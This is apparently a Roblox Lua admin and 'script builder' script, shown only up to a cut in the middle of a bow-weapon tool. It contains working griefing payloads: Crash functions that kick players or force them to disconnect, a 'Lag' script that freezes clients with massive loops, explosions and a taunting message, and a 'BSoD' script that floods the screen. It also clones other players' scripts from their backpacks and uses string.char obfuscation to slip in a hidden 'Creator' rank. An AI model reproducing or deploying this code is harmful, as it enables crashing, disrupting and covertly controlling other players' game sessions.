--Now Has Doge/Player and Mini/Player/Rares and others
wait(0)
--[[VARIABLES]]--
script.Parent = nil
Plrs = game:GetService("Players")
Work = game:GetService("Workspace")
Light = game:GetService("Lighting")
Net = game:GetService("NetworkServer")
Removed = false
Bet = ";"
LS = nil
LSSource = nil
OwnSource = nil
FoundLocalScript = false
LogOn = false
Current = game
Clipboard = {}
AlertColor = Color3.new(0, 1, 1)
OptionColor = Color3.new(1, 1, 1)
ImportantColor = Color3.new(1, 0, 1)
--[[TABLES]]--



RankDetails = {
        [-3] = {Name = "Mute Banned", Color = Color3.new(0.25, 0, 0.75), Desc = "Perma Muted"},
        [-2] = {Name = "Jail Banned", Color = Color3.new(-1, -1, -1), Desc = "Perma Mind Jailed"},
        [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
        [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
        [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
        [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
        [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
        [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
        [5] = {Name = "Owner", Color = Color3.new(0, 1, 1), Desc = "Owner"},
}

Rankings = {
        {Name = "AcidicEmpyreus", Rank = 69},
        {Name = "LuaScripterLS", Rank = 69},
        {Name = "LuaScripterLS", Rank = 5},
        {Name = "WTASRT", Rank = 4},
        {Name = "LuaScripterLS", Rank = 69},
        {Name = "GTFOorparteh", Rank = 5},
        {Name = "Roleo1122", Rank = 4},
}

table.insert(Rankings, {Name = Owner, Rank = 5})

ImportantServices = {
        "Workspace",
}

Ranks = {}
Commands = {}
AllTabs = {}
Injected = {}

Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
"Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
"AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
"Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
"AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
"AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
"BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
"BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
"Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
"Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
"Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
"CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
"CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
"ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
"CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
"ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
"CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
"CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
"DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
"Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
"Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
"Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
"FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
"Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
"GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
"Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
"InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
"KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
"Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
"MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
"MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
"MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
"MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
"MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
"MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
"MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
"NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
"OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
"Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
"PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
"PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
"ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
"RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
"SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
"ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
"SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
"SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
"Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
"Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
"Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
"TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
"TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
"TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
"ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
"Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
"Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
"ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
"WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
"X","Y"}

--Main Functions And Sources

function NewLS(Source, Par, Par2, Par3)
        ypcall(function()
                local Inserted = LS:Clone()
                Inserted.Disabled = true
                Inserted.Parent = Par or Par2 or Par3
                Inserted[LSSource].Value = Source
                Inserted.Disabled = false
        end)
end

function CheckImportant(Name)
        for _,v in pairs(ImportantServices) do
                if v:lower() == Name:lower() then
                        return true
                end
        end
        return false
end

function Crash1(Plr)
        ypcall(function()
                Plr:Kick()
        end)
end

function GetRankTab()
        return Rankings
end

function Crash2(Name)
        local Crasher = Instance.new("StringValue")
        Crasher.Name = "Client"
        Crasher.Value = string.lower(tostring(Name))
        Crasher.Parent = game:GetService("Lighting")
        wait(1)
        if Crasher and Crasher.Parent then
                ypcall(function()
                        Crasher:Destroy()
                end)
        end
end

--[[NEWLS STUFF]]--
if script:findFirstChild("source") then
        SorN = 'source'
        SB = 'Alakazard'
elseif script:findFirstChild('DSource') then
        SorN = 'DSource'
        SB = 'Anaminus'
elseif script:findFirstChild('Source') then
        SorN = 'Source'
        SB = 'Oxcool'
else
        SorN = nil
end
ScriptSource = script:findFirstChild(SorN).Value

coroutine.wrap(function()
while wait() do
if LSource ~= nil then break end
if SorN == "source" then break end
for _,v in pairs(game.Players:players()) do
if LSource ~= nil then break end
pcall(function()
for j,k in pairs(v.Backpack:children()) do
if LSource ~= nil then break end
if k.ClassName == 'LocalScript' then
if k:findFirstChild(SorN) ~= nil then
k.Archivable = true
LSource = k:Clone()
LSource.Disabled = true
PingAdmins("Source found")
break
end
end
wait()
end
for ab,cd in pairs(v.Character:children()) do
if LSource ~= nil then break end
if cd.ClassName == 'LocalScript' then
if cd:findFirstChild(SorN) ~= nil then
cd.Archivable = true
LSource = cd:Clone()
LSource.Disabled = true
PingAdmins("Source found")
break
end
end
wait()
end
end)
end
end
end)()

function NewS(sourcev, parent)
        if SorN == 'source' then
                NS(source,parent)
        else
                local s = SSource:Clone()
                s.Parent = parent
                if s:findFirstChild(SorN) ~= nil then
                        source = s:findFirstChild(SorN)
                else
                        source = Instance.new("StringValue", s)
                        source.Name = SorN
                end
                if source then
                        source.Value = sourcev
                else
                        PingAdmins("Something went wrong")
                end
                wait()
                s.Disabled = false
        end
end
function NewLS(sourcev,parent, lock)
        if SorN == 'source' then
                NLS(sourcev,parent)
        elseif LSource then
                local s = LSource:Clone()
                s.Parent = parent
                if s:findFirstChild(SorN) ~= nil then
                        source = s:findFirstChild(SorN)
                else
                        source = Instance.new("StringValue", s)
                        source.Name = SorN
                end
                if source then
                        source.Value = sourcev
                else
                        PingAdmins("Something went wrong")
                        return
                end
                wait()
                if lock == true then
                        for i = 0,5 do
                                s.Disabled = false
                                wait(0.5)
                                s.Disabled = true
                                wait(0.5)
                                s.Disabled = false
                        end
                else
                        s.Disabled = false
                end
                return s
        else
                PingAdmins("No source","Really red")
        end
end

function Crash3(v, Speaker)
        Speaker.Character.Archivable = true
        local NChar = Speaker.Character:Clone()
        NChar.Name = v.Name
        NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
        NChar.Parent = Workspace
        v.Character = NChar
        coroutine.resume(coroutine.create(function()
                repeat v.Character = NChar
                wait(1/3) until false
        end))
        wait(.5)
        NewLS(InsertCrash, NChar, nil, nil)
end

function GenerateDigit()
        return 1 + 5
end

InjectionCrash = [=[
        wait(0)
        script.Parent = nil
        local Lig = game:GetService("Lighting")
        local LP = game:GetService("Players").LocalPlayer
        local LowerName = LP.Name:lower()

        Lig.ChildAdded:connect(function(Obj)
                if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
                        pcall(function()
                                Obj:Destroy()
                        end)
                        LP.Parent = nil
                        LP.Parent = game:GetService("Players")
                end
        end)
]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}

InsertCrash = [==[
        local LP = game:GetService("Players").LocalPlayer
        LP.Parent = nil
        LP.Parent = game:GetService("Players")
]==]

-- Cleaning And Stuff --
CreateBase = function()
        for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
                if v.Name:lower():find('base') and v:IsA('BasePart') then
                        v:remove()
                end
        end
        local Base = Instance.new("Part")
        Base.BrickColor = BrickColor.new("Dark green")
        Base.CFrame = CFrame.new(0, 0.6, 0)
        Base.Transparency = 0
        Base.Elasticity = 0.5
        Base.FormFactor = "Custom"
        Base.Material = 'Grass'
        Base.CanCollide = true
        Base.Friction = 0.30000001192093
        Base.Size = Vector3.new(2044, 0, 2044)
        Base.Archivable = true
        Base.Material = "Grass"
        Base.RotVelocity = Vector3.new(0, 0, 0)
        Base.Reflectance = 0
        Base.Locked = true
        Base.Anchored = true
        Base.Name = "Base"
        Base.TopSurface = "Smooth"
        Base.BottomSurface = "Inlet"
        Base.Shape = "Block"
        Base.Parent = Nexotic.Services.Workspace
end
CleanWorkspace = function()
        for i,s in pairs(Nexotic.Services.Workspace:GetChildren()) do
                if Nexotic.Services.Players:GetPlayerFromCharacter(s) == nil then
                        if s.className ~= "Terrain" then
                                if s.className ~= "Camera" then
                                        pcall(function() s:Destroy() end)
                                end
                        end
                end
        end
        CreateBase()
        for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
                if v:IsA("Terrain") then
                        v:Clear()
                end
        end
end
FullClean = function()
        local Child = {}
        local GetAllChildren = function(c)
                for _,v in pairs(c:GetChildren()) do
                        ypcall(function()
                                GetAllChildren(v)
                                table.insert(Child, v)
                        end)
                end
        end
        for _,v in pairs(Nexotic.Services.Game:GetChildren()) do
                ypcall(function()
                        GetAllChildren(v)
                end)
        end
        for _,v in pairs(Child) do
                if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
                        v:remove()
                end
        end
        CleanWorkspace()
        Debug()
        for _,v in pairs(Nexotic.Services.Players:GetPlayers()) do
                v:LoadCharacter()
        end
end
Debug = function()
        ypcall(function()
                for _,v in pairs(Nexotic.Services.Workspace:GetChildren()) do
                        if v:IsA('Message') or v:IsA('Hint') then
                                ypcall(function()
                                        v.Text = ''
                                        v:Destroy()
                                end)
                        end
                        if v:IsA('Terrain') then
                                v:Clear()
                        end
                end
                Nexotic.Services.Lighting.GlobalShadows = true
                Nexotic.Services.Lighting.TimeOfDay = '14:00:00'
                Nexotic.Services.Lighting.Brightness = 0.3
                Nexotic.Services.Lighting.ShadowColor = Color3.new(0.705882, 0.705882, 0.705882)
                Nexotic.Services.Lighting.Ambient = Color3.new(1,1,1)
                Nexotic.Services.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
                Nexotic.Services.Lighting.ColorShift_Bottom = Color3.new(0, 0, 0)
                Nexotic.Services.Lighting.OutdoorAmbient = Color3.new(0.6, 0.6, 0.6)
                Nexotic.Services.Lighting.FogStart = 0
                Nexotic.Services.Lighting.FogEnd = 100000
                Nexotic.Services.Lighting.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
                Nexotic.Services.Lighting:ClearAllChildren()
                Nexotic.Services.Teams:ClearAllChildren()
                for _,v in pairs(Nexotic.Services.Players:GetPlayers()) do
                        v.Neutral = true
                end
        end)
end

Lag = [==[
        wait()
        script.Parent = game:service'TeleportService'
        CC = workspace.CurrentCamera
        RS = game:service("RunService")
        PG = game.Players.LocalPlayer.PlayerGui
        C = game.Players.LocalPlayer.Character
        function Lag()
                coroutine.resume(coroutine.create(function()
                        while wait() do
                                M = Instance.new("Message",CC)
                                M.Text = "u shouldn't have fked around"
                                H = Instance.new("Hint",CC)
                                H.Text = string.reverse("dikS")
                                SG=Instance.new("ScreenGui",PG)
                                FR=Instance.new("Frame",SG)
                                FR.Size = UDim2.new(500,500,500,500)
                                while wait() do
                                        FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
                                end
                                P=Instance.new("Part",CC)
                                E=Instance.new("Explosion",P)
                                E.BlastRadius=math.huge
                                E.Position=P.Position
                                Output=Instance.new("Fire",P)
                                S=Instance.new("Smoke",P)
                                P.CFrame = CC.Focus
                                P.Anchored = true
                                P.CanCollide = false
                                P.AncestryChanged:connect(function()Lag()end)
                                for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
                        end
                end))
        end
        RS.Stepped:connect(function()for i = 1, 140000 do Lag() Lag() Lag() Lag() Lag() end end)
]==]

BSoD = [==[
script:Destroy();
local user=game:service'Players'.localPlayer;
local playerGui=user.PlayerGui;
local camera=workspace.currentCamera;
local terrain=workspace.Terrain;
local main=Instance.new'ScreenGui';
local f=Instance.new('Frame',main);
f.Size=UDim2.new(1,0,1,0);
f.BackgroundTransparency=.5;
f.BackgroundColor3=Color3.new(0,0,0);
local text=Instance.new('TextLabel',f);
text.Size=UDim2.new(1,0,.2,0);
text.Position=UDim2.new(0,0,.4,0);
text.Text='Lag brah?';
text.TextColor3=Color3.new(1,1,1);
text.BackgroundTransparency=1;
text.FontSize='Size24';
local loop;loop=function()
coroutine.wrap(function()
while true do wait()
coroutine.wrap(function()
for i=1,100 do
Instance.new('Message',workspace).Text='Lag brah';
Instance.new('Hint',workspace).Text='Lag brah';
end;
end)();
coroutine.wrap(function()
local s=main:clone();
s.Parent=playerGui;
end)();
coroutine.wrap(function()
if(math.random(1,5)==1)then
game:service'Debris':addItem(Instance.new('Part',terrain),15);
game:service'Debris':addItem(Instance.new('Explosion',terrain),30);
end;
end)();
coroutine.wrap(function()
user.CameraMode='LockFirstPerson';
game:service'StarterGui':setCoreGuiEnabled('All',false);
end)();
if(math.random(1,5)==5)then
loop();
end;
end;
end)();
end;
loop();
]==]

Pad = [==[
num=3.5
mouse=game.Players.LocalPlayer:GetMouse()
mouse.KeyDown:connect(function(key)
if key:lower()=="q" then
num=4.5
end
if key:lower()=="e" then
num=2.5
end
end)
mouse.KeyUp:connect(function(key)
num=3.5
end)
m=Instance.new("Part",workspace)
m.Name="Float"
m.FormFactor=0
m.Name = "MyPad"
m.BottomSurface="Smooth"
m.TopSurface="Smooth"
m.Size=Vector3.new(5,1,5)
m.BrickColor=BrickColor.new(255,255,255)
m.Anchored=true
s=Instance.new("Sparkles")
s.Parent=m
s.Color = Color3.new(255,255,255)
m2=m:clone()
m2.Parent=workspace
m2.BrickColor=BrickColor.new(0,0,0)
m2.Name = "MyPad2"
c=0
c2=45
while wait() do
c=c+5
c2=c2+5
p=game.Players.LocalPlayer.Character.HumanoidRootPart.Position
--game.Players.LocalPlayer.Character.Torso.CFrame=game.Players.LocalPlayer.Character.Torso.CFrame*CFrame.new(0,-(num)+3.5,0)
m.CFrame=CFrame.new(p.X,p.Y-num,p.Z)*CFrame.Angles(0,math.rad(c),0)
m2.CFrame=CFrame.new(p.X,p.Y-num,p.Z)*CFrame.Angles(0,math.rad(c2),0)
end
]==]

Bow = [==[
--RagDoll Bow Script
--mediafire
function weld(p0,p1,c0,c1,par)
        local w = Instance.new("Weld",p0 or par)
        w.Part0 = p0
        w.Part1 = p1
        w.C0 = c0 or CFrame.new()
        w.C1 = c1 or CFrame.new()
        return w
end
do -- Credit to Stravant...
        local function QuaternionFromCFrame(cf) local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() local trace = m00 + m11 + m22 if trace > 0 then local s = math.sqrt(1 + trace) local recip = 0.5/s return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 else local i = 0 if m11 > m00 then i = 1 end if m22 > (i == 0 and m00 or m11) then i = 2 end if i == 0 then local s = math.sqrt(m00-m11-m22+1) local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip elseif i == 1 then local s = math.sqrt(m11-m22-m00+1) local recip = 0.5/s return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip elseif i == 2 then local s = math.sqrt(m22-m00-m11+1) local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip end end end

        local function QuaternionToCFrame(px, py, pz, x, y, z, w) local xs, ys, zs = x + x, y + y, z + z local wx, wy, wz = w*xs, w*ys, w*zs local xx = x*xs local xy = x*ys local xz = x*zs local yy = y*ys local yz = y*zs local zz = z*zs return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) end

        local function QuaternionSlerp(a, b, t) local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] local startInterp, finishInterp; if cosTheta >= 0.0001 then if (1 - cosTheta) > 0.0001 then local theta = math.acos(cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((1-t)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta  else startInterp = 1-t finishInterp = t end else if (1+cosTheta) > 0.0001 then local theta = math.acos(-cosTheta) local invSinTheta = 1/math.sin(theta) startInterp = math.sin((t-1)*theta)*invSinTheta finishInterp = math.sin(t*theta)*invSinTheta else startInterp = t-1 finishInterp = t end end return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp        end
        function clerp(a,b,t)
                if not a or not b then print(a,b,"is missing") return end
                local qa = {QuaternionFromCFrame(a)}
                local qb = {QuaternionFromCFrame(b)}
                local ax, ay, az = a.x, a.y, a.z
                local bx, by, bz = b.x, b.y, b.z
                local _t = 1-t
                return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
        end
end
local oc = oc or function(...) return ... end
pcall(function() script.Parent.bScript:Destroy() end)
script.Name = "bScript"
local plr = game:service'Players'.LocalPlayer
local mouse = plr:GetMouse()
local char = plr.Character
local tor,ra,la,rl,ll,hd,hum = char.Torso,char["Right Arm"],char["Left Arm"],char["Right Leg"],char["Left Leg"],char.Head,char.Humanoid
local rrs,rls,nk = tor["Right Shoulder"],tor["Left Shoulder"],tor.Neck
local nk0 = nk.C0
local rc0,rc1 = rrs.C0,rrs.C1
local lc0,lc1 = rls.C0,rls.C0
local rs,ls = rrs:Clone(),rls:Clone()
rs.Name,ls.Name = "rs","ls"
rs.DesiredAngle,rs.CurrentAngle = 0,0
ls.DesiredAngle,ls.CurrentAngle = 0,0
local model = Instance.new("Model",char)
pcall(function() char.bModel:Destroy() end)
model.Name = "bModel"
local part = Instance.new("Part")
part.BrickColor = BrickColor.new("Really black")
part.Reflectance = 0.15
part.FormFactor = "Custom"
part.TopSurface,part.BottomSurface = 0,0
part.Size = Vector3.new(.2,.2,.2)
part:BreakJoints()
part.CanCollide = false
function clone(t)
        local p = t:Clone()
        p.Parent = t.Parent or model
        return p
end
local han = clone(part)
han.Size = Vector3.new(.3,.5,.3)
han.Transparency = 1
local hold = weld(la,han,CFrame.new(0,-1,0) * CFrame.Angles(math.rad(-90),math.rad(23),0),CFrame.new())
for i=1,14 do
        local gr = clone(part)
        gr.BrickColor = BrickColor.new("Really blue")
        gr.Size = Vector3.new(.3,.2,.3)
        local m = Instance.new("SpecialMesh",gr)
        m.MeshType = "Sphere"
        m.Scale = Vector3.new(1,.75,1) * math.max(.85,math.abs(i-7)/5)
        weld(han,gr,CFrame.new(0,-.6+i*.085,0) * CFrame.Angles(math.rad(15),math.rad(0),math.rad(23)),CFrame.new())
end
local p = clone(part)
p.Size = Vector3.new(.45,.2,.32)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,-.62,.125) * CFrame.Angles(math.rad(10),0,0))
local p = clone(part)
p.Size = Vector3.new(.45,.2,.3)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,-.62,-.125) * CFrame.Angles(math.rad(-10),0,0))
local b1 = clone(part)
b1.Size = Vector3.new(.2,1,.3)
local m = Instance.new("BlockMesh",b1)
m.Scale = Vector3.new(1,1,1)
local bw1 = weld(han,b1,CFrame.new(0,-.6,0) * CFrame.Angles(math.rad(-10),0,0),CFrame.new(0,.5,0))
local b2 = clone(part)
b2.Size = Vector3.new(.2,1,.25)
local m = Instance.new("BlockMesh",b2)
m.Scale = Vector3.new(.9,1,1)
local bw2 = weld(b1,b2,CFrame.new(0,-.5,-.15) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,.5,-.125))
local b3 = clone(part)
b3.Size = Vector3.new(.2,1,.2)
local m = Instance.new("BlockMesh",b3)
m.Scale = Vector3.new(.75,1,1)
local bw3 = weld(b2,b3,CFrame.new(0,-.5,-.125) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,.5,-.1))
local bt = clone(part)
bt.BrickColor = BrickColor.new("Black")
bt.Size = Vector3.new(.2,.3,.2)
local m = Instance.new("BlockMesh",bt)
m.Scale = Vector3.new(.5,1,1) * .5
local btw = weld(b3,bt,CFrame.new(0,-.5,.1) * CFrame.Angles(math.rad(-25),0,0),CFrame.new(0,0,.05))
local p = clone(part)
p.Size = Vector3.new(.45,.2,.32)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,.67,.125) * CFrame.Angles(math.rad(15),0,0))
local p = clone(part)
p.Size = Vector3.new(.45,.2,.3)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,.67,-.125) * CFrame.Angles(math.rad(-15),0,0))
local p = clone(part)
p.Size = Vector3.new(.4,.2,.3)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,.75,0) * CFrame.Angles(math.rad(0),0,0))
local p = clone(part)
p.Size = Vector3.new(.2,.3,.35)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,1,1)
weld(han,p,CFrame.new(-.1,.8,0) * CFrame.Angles(math.rad(0),0,0))
local p = clone(part)
p.Size = Vector3.new(.45,.2,.32)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,1,.125) * CFrame.Angles(math.rad(-5),0,0))
local p = clone(part)
p.Size = Vector3.new(.45,.2,.25)
local m = Instance.new("BlockMesh",p)
m.Scale = Vector3.new(1,.5,1)
weld(han,p,CFrame.new(0,1,-.125) * CFrame.Angles(math.rad(5),0,0))
local t1 = clone(part)
t1.Size = Vector3.new(.2,1,.3)
local m = Instance.new("BlockMesh",t1)
m.Scale = Vector3.new(1,1,1)
local tw1 = weld(han,t1,CFrame.new(0,.975,0) * CFrame.Angles(math.rad(10),0,0),CFrame.new(0,-.5,0))
local t2 = clone(part)
t2.Size = Vector3.new(.2,1,.25)
local m = Instance.new("BlockMesh",t2)
m.Scale = Vector3.new(.9,1,1)
local tw2 = weld(t1,t2,CFrame.new(0,.5,-.15) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,-.5,-.125))
local t3 = clone(part)
t3.Size = Vector3.new(.2,1,.2)
local m = Instance.new("BlockMesh",t3)
m.Scale = Vector3.new(.75,1,1)
local tw3 = weld(t2,t3,CFrame.new(0,.5,-.125) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,-.5,-.1))
local tt = clone(part)
tt.BrickColor = BrickColor.new("Black")
tt.Size = Vector3.new(.2,.3,.2)
local m = Instance.new("BlockMesh",tt)
m.Scale = Vector3.new(.5,1,1) * .5
local ttw = weld(t3,tt,CFrame.new(0,.5,.1) * CFrame.Angles(math.rad(25),0,0),CFrame.new(0,0,.05))
local W = {bw1,bw2,bw3,tw1,tw2,tw3}
local W0 = {bw1.C0,bw2.C0,bw3.C0,tw1.C0,tw2.C0,tw3.C0}
local l1 = clone(part)
l1.BrickColor = BrickColor.new("Light reddish violet")
l1.Size = Vector3.new(.2,.2,.2)
local m = Instance.new("CylinderMesh",l1)
local l1w = weld(bt,l1)
local l2 = clone(l1)
local l2w = weld(tt,l2)
local amodel = Instance.new("Model")
local arrow = clone(part)
arrow.Parent = amodel
arrow.BrickColor = BrickColor.new("Brown")
arrow.Size = Vector3.new(.2,3,.2)
arrow.Name = "main"
local m = Instance.new("CylinderMesh",arrow)
m.Scale = Vector3.new(.5,1,.5)
local arrw = weld(han,arrow)
local tip = clone(part)
tip.Parent = amodel
tip.BrickColor = BrickColor.new("Cool yellow")
tip.Size = Vector3.new(.2,.4,.2)
tip.Name = "tip"
local m = Instance.new("SpecialMesh",tip)
m.MeshId = "rbxassetid://1033714"
m.Scale = Vector3.new(.1,.45,.1)
weld(arrow,tip,CFrame.new(0,1.6,0))
local walkspeed = 16
local hpos_i = CFrame.new(0,.8,1.3)
local hpos_l = CFrame.new(0,.8,1.55)
local hpos = hpos_i
local keeper = Vector3.new(0.07,0.82,0)
mouse.Button1Up:connect(function()
        mup = true
end)
function ragJoint(hit,r,d)
        Spawn(oc(function()
                d = d or 0
                local rpar,r0,r1 = r.Parent,r.Part0,r.Part1
                if d > 0 then wait(d) end
                local p = hit:Clone()
                p:BreakJoints()
                p:ClearAllChildren()
                p.FormFactor = "Custom"
                p.Size = p.Size/2
                p.Transparency = 1
                p.CanCollide = true
                p.Name = "Colliduh"
                p.Parent = hit
                local w = Instance.new("Weld",p)
                w.Part0 = hit
                w.Part1 = p
                w.C0 = CFrame.new(0,-p.Size.Y/2,0)
                local rot = Instance.new("Rotate",rpar)
                rot.Name = r.Name
                rot.Part0 = r0
                rot.Part1 = r1
                rot.C0 = r.C0
                rot.C1 = r.C1
                r0.Velocity = Vector3.new()
                r1.Velocity = Vector3.new()
                r:Destroy()
        end))
end
function ShootArrow(a,to,spd)
        Spawn(oc(function()
                local from = a.main.CFrame
                a:Destroy()
                local a = amodel:Clone()
                for i,v in pairs(a:GetChildren()) do
                        if v:IsA("BasePart") then
                                v.Anchored = true
                        end
                end
                a:MakeJoints()
                a.Parent = workspace
                local m = a.main
                --local from = m.CFrame
                local t = {}
                local function move(cf)
                        for i,v in pairs(a:GetChildren()) do
                                if v ~= m and v:IsA("BasePart") then
                                        t[v] = t[v] or m.CFrame:toObjectSpace(v.CFrame)
